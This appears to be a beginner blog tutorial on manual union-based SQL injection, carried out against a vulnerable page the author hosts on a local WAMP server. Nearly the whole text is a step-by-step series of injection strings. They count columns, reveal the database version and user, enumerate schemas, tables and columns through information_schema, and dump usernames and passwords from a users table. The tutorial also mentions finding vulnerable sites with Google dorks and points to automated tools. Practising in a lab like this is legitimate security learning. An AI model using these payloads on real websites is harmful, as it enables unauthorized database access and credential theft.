There are many articles on internet on SQL injection but most of them only give you queries and don’t display the ensuing result. So here, I have decided to bring a SQL injection tutorial for beginners. For this, I have made my own webpage vulnerable to SQL injection and hosted it on Wamp server. I hope this will be helpful for beginners to understand SQL injection.
Imagine any hacker searching for SQL vulnerable sites using google dorks comes to this website shown below.
The above is a webpage displaying some sort of information about the company’s founders. What happens when we click on “Founder 1″? It displays some information about Founder 1 as shown below.
Notice that there is a small change in the url. it says ‘id=1‘ at the last. Now what if we go back and click on “Founder 2”, it displays information about founder 2 and the url changes to ‘id=2‘. This implies that the webpage is using PHP $_GET query to fetch data from database.
Well let’s see if the webpage is vulnerable. In the address bar, add a single quote after the id=1. like below
If you get an error as shown above, then the site is vulnerable to sql injection. Since we know this site is vulnerable to sql injection, lets’ see the number of columns in the database. Use the query
id=1 order by 1
and increase the value until you get an error, like below.
id=1 order by 2
id=1 order by 3
The last value without the error are the number of columns present. The ‘order by’ query in SQL is used to sort the data. When no option is specified it sorts in ascending order by default. Sometimes you may not see any error no matter how much you increase the value, like the case below where I have not received an error until the value of 15.
Maybe there are fifteen columns ( the chances are very low though) or our query is not working. Let’s use another query.
id=1′ order by 1–+
We can see below that the value 3 returns us an error like below. This means there are two columns.
If the latter query works then you should use it all through the injection. The characters ‘–‘ comment the code after them.
Now we know there are two columns. Let’s find out the vulnerable columns in the website. Type
id=-1′ union select 1,2–+
The vulnerable columns are displayed as below. Here both the columns are vulnerable but you may not be so lucky all the time.
If the above query doesn’t work, use
id=1′ and 1=2 union select 1,2–+
Now let’s find out the database version. We already know the number of columns. Use query,
id=-1′ union select version(),2–+
The version is 5.6.2-log. Now let’s find out the names of all the databases present. Use query,
id=-1′ union select group_concat(schema_name),2 from information_schema.schemata–+
This will display all the databases. You can see the list of databases present below. You can see dvwa database which I used earlier for practice.
We know all the databases. Now let’s see the database being used by our website. Use query,
id=-1′ union select database(),2–+
So, Shunya is the database being used by our website. Let’s see the current user.
id=-1′ union select user(),2–+
We know root is the default user on wamp server. Now let’s find out tables present in the ‘shunya’ database.
id=-1′ union select group_concat(table_name),2 from information_schema.tables where table_schema=database()–+
The table name is ‘users’. Now let’s find out the column names in the table ‘users’.
id=-1′ union select group_concat(column_name),2 from information_schema.columns where table_schema=database()–+
We got the column names. Now let’s dump the values of some interesting columns. Let’s dump “username” and “password” values.
id=-1′ union select group_concat(username,0x3a,password,0x3a),2 from users–+
We successfully dumped the usernames and passwords. The value 0x3a introduces a colon between the dumped values for readability. Now let’s dump all the values from the table ‘users’.
id=-1′ union select group_concat(id,0x3a,name,0x3a,field,0x3a,username,0x3a,password,0x3a,),2 from users–+
We have successfully performed SQL injection and dumped the values. That’s all in this SQL injection tutorial for beginners. Since you have understood basic concept of SQL injection, also see how to exploit sql injection with Havij and Sqlmap.